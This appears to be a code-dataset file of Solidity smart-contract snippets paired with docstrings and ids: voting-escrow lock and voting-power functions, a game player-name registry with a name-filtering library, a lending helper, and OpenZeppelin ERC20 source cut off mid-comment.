/// @notice Deposit `_value` additional tokens for `_tokenId` without modifying the unlock time /// @param _value Amount of tokens to deposit and add to the lock function increase_amount(uint _tokenId, uint _value) external nonreentrant { assert(_isApprovedOrOwner(msg.sender, _tokenId)); LockedBalance memory _locked = locked[_tokenId]; assert(_value > 0); // dev: need non-zero value require(_locked.amount > 0, 'No existing lock found'); require(_locked.end > block.timestamp, 'Cannot add to expired lock. Withdraw'); _deposit_for(_tokenId, _value, 0, _locked, DepositType.INCREASE_LOCK_AMOUNT); } /// @notice Extend the unlock time for `_tokenId` /// @param _lock_duration New number of seconds until tokens unlock function increase_unlock_time(uint _tokenId, uint _lock_duration) external nonreentrant { assert(_isApprovedOrOwner(msg.sender, _tokenId)); LockedBalance memory _locked = locked[_tokenId]; uint unlock_time = (block.timestamp + _lock_duration) / WEEK * WEEK; // Locktime is rounded down to weeks require(_locked.end > block.timestamp, 'Lock expired'); require(_locked.amount > 0, 'Nothing is locked'); require(unlock_time > _locked.end, 'Can only increase lock duration'); require(unlock_time <= block.timestamp + MAXTIME, 'Voting lock can be 4 years max'); _deposit_for(_tokenId, 0, unlock_time, _locked, DepositType.INCREASE_UNLOCK_TIME); } /// @notice Withdraw all tokens for `_tokenId` /// @dev Only possible if the lock has expired function withdraw(uint _tokenId) external nonreentrant { assert(_isApprovedOrOwner(msg.sender, _tokenId)); require(attachments[_tokenId] == 0 && !voted[_tokenId], "attached"); LockedBalance memory _locked = locked[_tokenId]; require(block.timestamp >= _locked.end, "The lock didn't expire"); uint value = uint(int256(_locked.amount)); locked[_tokenId] = LockedBalance(0,0); uint supply_before = supply; supply = supply_before - value; // old_locked can have either expired <= timestamp or zero end // _locked has only 0 end // Both can have >= 0 amount _checkpoint(_tokenId, _locked, LockedBalance(0,0)); assert(IERC20(token).transfer(msg.sender, value)); // Burn the NFT _burn(_tokenId); emit Withdraw(msg.sender, _tokenId, value, block.timestamp); emit Supply(supply_before, supply_before - value); } // The following ERC20/minime-compatible methods are not real balanceOf and supply! // They measure the weights for the purpose of voting, so they don't represent // real coins. /// @notice Binary search to estimate timestamp for block number /// @param _block Block to find /// @param max_epoch Don't go beyond this epoch /// @return Approximate timestamp for block function _find_block_epoch(uint _block, uint max_epoch) internal view returns (uint) { // Binary search uint _min = 0; uint _max = max_epoch; for (uint i = 0; i < 128; ++i) { // Will be always enough for 128-bit numbers if (_min >= _max) { break; } uint _mid = (_min + _max + 1) / 2; if (point_history[_mid].blk <= _block) { _min = _mid; } else { _max = _mid - 1; } } return _min; } /// @notice Get the current voting power for `_tokenId` /// @dev Adheres to the ERC20 `balanceOf` interface for Aragon compatibility /// @param _tokenId NFT for lock /// @param _t Epoch time to return voting power at /// @return User voting power function _balanceOfNFT(uint _tokenId, uint _t) internal view returns (uint) { uint _epoch = user_point_epoch[_tokenId]; if (_epoch == 0) { return 0; } else { Point memory last_point = user_point_history[_tokenId][_epoch]; last_point.bias -= last_point.slope * int128(int256(_t) - int256(last_point.ts)); if (last_point.bias < 0) { last_point.bias = 0; } return uint(int256(last_point.bias)); } } /// @dev Returns current token URI metadata /// @param _tokenId Token ID to fetch URI for. function tokenURI(uint _tokenId) external view override returns (string memory) { require(idToOwner[_tokenId] != address(0), "Query for nonexistent token"); LockedBalance memory _locked = locked[_tokenId]; return _tokenURI( _tokenId, _balanceOfNFT(_tokenId, block.timestamp), _locked.end, uint(int256(_locked.amount)) ); } function balanceOfNFT(uint _tokenId) external view returns (uint) { if (ownership_change[_tokenId] == block.number) return 0; return _balanceOfNFT(_tokenId, block.timestamp); } function balanceOfNFTAt(uint _tokenId, uint _t) external view returns (uint) { return _balanceOfNFT(_tokenId, _t); } /// @notice Measure voting power of `_tokenId` at block height `_block` /// @dev Adheres to MiniMe `balanceOfAt` interface: https://github.com/Giveth/minime /// @param _tokenId User's wallet NFT /// @param _block Block to calculate the voting power at /// @return Voting power function _balanceOfAtNFT(uint _tokenId, uint _block) internal view returns (uint) { // Copying and pasting totalSupply code because Vyper cannot pass by // reference yet assert(_block <= block.number); // Binary search uint _min = 0; uint _max = user_point_epoch[_tokenId]; for (uint i = 0; i < 128; ++i) { // Will be always enough for 128-bit numbers if (_min >= _max) { break; } uint _mid = (_min + _max + 1) / 2; if (user_point_history[_tokenId][_mid].blk <= _block) { _min = _mid; } else { _max = _mid - 1; } } Point memory upoint = user_point_history[_tokenId][_min]; uint max_epoch = epoch; uint _epoch = _find_block_epoch(_block, max_epoch); Point memory point_0 = point_history[_epoch]; uint d_block = 0; uint d_t = 0; if (_epoch < max_epoch) { Point memory point_1 = point_history[_epoch + 1]; d_block = point_1.blk - point_0.blk; d_t = point_1.ts - point_0.ts; } else { d_block = block.number - point_0.blk; d_t = block.timestamp - point_0.ts; } uint block_time = point_0.ts; if (d_block != 0) { block_time += (d_t * (_block - point_0.blk)) / d_block; } upoint.bias -= upoint.slope * int128(int256(block_time - upoint.ts)); if (upoint.bias >= 0) { return uint(uint128(upoint.bias)); } else { return 0; } } function balanceOfAtNFT(uint _tokenId, uint _block) external view returns (uint) { return _balanceOfAtNFT(_tokenId, _block); } /// @notice Calculate total voting power at some point in the past /// @param point The point (bias/slope) to start search from /// @param t Time to calculate the total voting power at /// @return Total voting power at that time function _supply_at(Point memory point, uint t) internal view returns (uint) { Point memory last_point = point; uint t_i = (last_point.ts / WEEK) * WEEK; for (uint i = 0; i < 255; ++i) { t_i += WEEK; int128 d_slope = 0; if (t_i > t) { t_i = t; } else { d_slope = slope_changes[t_i]; } last_point.bias -= last_point.slope * int128(int256(t_i - last_point.ts)); if (t_i == t) { break; } last_point.slope += d_slope; last_point.ts = t_i; } if (last_point.bias < 0) { last_point.bias = 0; } return uint(uint128(last_point.bias)); } /// @notice Calculate total voting power /// @dev Adheres to the ERC20 `totalSupply` interface for Aragon compatibility /// @return Total voting power function totalSupplyAtT(uint t) public view returns (uint) { uint _epoch = epoch; Point memory last_point = point_history[_epoch]; return _supply_at(last_point, t); } function totalSupply() external view returns (uint) { return totalSupplyAtT(block.timestamp); } /// @notice Calculate total voting power at some point in the past /// @param _block Block to calculate the total voting power at /// @return Total voting power at `_block` function totalSupplyAt(uint _block) external view returns (uint) { assert(_block <= block.number); uint _epoch = epoch; uint target_epoch = _find_block_epoch(_block, _epoch); Point memory point = point_history[target_epoch]; uint dt = 0; if (target_epoch < _epoch) { Point memory point_next = point_history[target_epoch + 1]; if (point.blk != point_next.blk) { dt = ((_block - point.blk) * (point_next.ts - point.ts)) / (point_next.blk - point.blk); } } else { if (point.blk != block.number) { dt = ((_block - point.blk) * (block.timestamp - point.ts)) / (block.number - point.blk); } } // Now dt contains info on how far are we beyond point return _supply_at(point, point.ts + dt); } function _tokenURI(uint _tokenId, uint _balanceOf, uint _locked_end, uint _value) internal pure returns (string memory output) { output = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">'; output = string(abi.encodePacked(output, "token ", toString(_tokenId), '</text><text x="10" y="40" class="base">')); output = string(abi.encodePacked(output, "balanceOf ", toString(_balanceOf), '</text><text x="10" y="60" class="base">')); output = string(abi.encodePacked(output, "locked_end ", toString(_locked_end), '</text><text x="10" y="80" class="base">')); output = string(abi.encodePacked(output, "value ", toString(_value), '</text></svg>')); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "lock #', toString(_tokenId), '", "description": "Solidly locks, can be used to boost gauge yields, vote on token emission, and receive bribes", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); } function toString(uint value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint temp = value; uint digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint(value % 10))); value /= 10; } return string(buffer); } function _burn(uint _tokenId) internal { require(_isApprovedOrOwner(msg.sender, _tokenId), "caller is not owner nor approved"); address owner = ownerOf(_tokenId); // Clear approval approve(address(0), _tokenId); // Remove token _removeTokenFrom(msg.sender, _tokenId); emit Transfer(owner, address(0), _tokenId); } }
Returns the number of NFTs owned by `_owner`. Throws if `_owner` is the zero address. NFTs assigned to the zero address are considered invalid. _owner Address for whom to query the balance.
function balanceOf(address _owner) override external view returns (uint) { return _balance(_owner); }
899,999
pragma solidity ^0.4.24; /* *                         ___ *                       |三三三i *                       |三三三| *  神さま かなえて happy-end      ノ三三三.廴 *                      从ノ_八ム_}ノ *   __}ヽ__                 ヽ‐个‐ア. © Team EC Present. *    `ヒy  ノ三ニ==ェ- ___ ィェ=ァ='フ)ヽ-''Lヽ *     `‐⌒L三ニ=ニ三三三三三三三〈oi 人 )o〉三ニ、    *             ` ̄ ̄ ̄ ̄`弌三三}. ! r三三三ij       *                      ,': ::三三|. ! ,'三三三刈、 *                      ,': : :::`i三|人|三三ハ三j: ;      *         ,': : : : : 比|  |三三i |三|: ', *                 ,': : : : : : :Vi|  |三三i |三|: : ', *                , ': : : : : : : ノ }乂{三三| |三|: : :; * UserDataManager v0.1  ,': : : : : : : : ::j三三三三|: |三i: : ::, *                ,': : : : : : : : :/三三三三〈: :!三!: : ::; *                ,': : : : : : : : /三三三三三!, |三!: : : , *                ,': : : : : : : : ::j三三八三三Y {⌒i: : : :, *               ,': : : : : : : : : /三//: }三三j: : ー': : : : , *               ,': : : : : : : : :.//三/: : |三三|: : : : : : : : :; *               ,': : : : : : : : ://三/: : : |三三|: : : : : : : : ; *               ,': : : : : : : : :/三ii/ : : : :|三三|: : : : : : : : :; *              ,': : : : : : : : /三//: : : : ::!三三!: : : : : : : : ; *             ,': : : : : : : : :j三// : : : : ::|三三!: : : : : : : : :; *             ,': : : : : : : : : |三ij: : : : : : ::l三ニ:j: : : : : : : : : ; *            ,': : : : : : : : ::::|三ij: : : : : : : !三刈: : : : : : : : : ; *            ,': : : : : : : : : : :|三ij: : : : : : ::j三iiテ: : : : : : : : : :; *           ,': : : : : : : : : : : |三ij: : : : : : ::|三iiリ: : : : : : : : : : ; *          ,':: : : : : : : : : : : :|三ij::: : :: :: :::|三リ: : : : : : : : : : :; *        ,': : : : : : : : : : : : :|三ij : : : : : ::l三iリ: : : : : : : : : : : ', *                r'三三jiY, : : : : : ::|三ij : : : : : : : : : : : ', *               |三 j´        `', signature: *                           |三三k、 *         `ー≠='. 93511761c3aa73c0a197c55537328f7f797c4429 */ interface UserDataManagerReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } contract UserDataManager { using NameFilter for string; using SafeMath for uint256; address private admin = msg.sender; uint256 public registrationFee_ = 0; mapping(uint256 => UserDataManagerReceiverInterface) public games_; mapping(address => bytes32) public gameNames_; mapping(address => uint256) public gameIDs_; uint256 public gID_; uint256 public pID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => Player) public plyr_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } constructor() public { // premine the dev names plyr_[1].addr = 0xe27c188521248a49adfc61090d3c8ab7c3754e0a; plyr_[1].name = "matt"; plyr_[1].names = 1; pIDxAddr_[0xe27c188521248a49adfc61090d3c8ab7c3754e0a] = 1; pIDxName_["matt"] = 1; plyrNames_[1]["matt"] = true; plyrNameList_[1][1] = "matt"; pID_ = 1; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier onlyDevs() { require(admin == msg.sender, "msg sender is not a dev"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "that game doesn't exist yet"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "player dont even have an account"); uint256 _totalNames = plyr_[_pID].names; games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "player dont even have an account"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } function useMyOldName(string _nameString) isHuman() public { bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; require(plyrNames_[_pID][_name] == true, "thats not a name you own"); plyr_[_pID].name = _name; } function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // if names already has been used, require that current msg sender owns the name if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); // add name to player profile, registry, and name book plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // registration fee goes directly to community rewards admin.transfer(address(this).balance); // push player info to games if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // fire event emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // set the new player bool to true return (true); } else { return (false); } } function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // update last affiliate plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != "" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function addGame(address _gameAddress, string _gameNameStr) onlyDevs() public { require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = UserDataManagerReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } function setRegistrationFee(uint256 _fee) onlyDevs() public { registrationFee_ = _fee; } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
make sure name fees paid set up our tx event data and determine if player is new or not fetch player id manage affiliate residuals if no affiliate code was given or player tried to use their own, lolz get affiliate ID from aff Code if affID is not the same as previously stored update last affiliate
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } return(_isNewPlayer, _affID); }
888,517
./full_match/1/0x63faF7BB2e6FC14619441cc9bA64c4EAf54A60ac/sources/contracts/PowerFarms/wstETHPowerFarm/wstETHFarmMathLogic.sol
Internal function converting borrow shares into tokens./
function _getPositionBorrowToken( uint256 _nftId ) internal view returns(uint256) { return WISE_LENDING.paybackAmount( AAVE_WETH_ADDRESS, _getPositionBorrowShares( _nftId ) ); }
4,948,506
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * 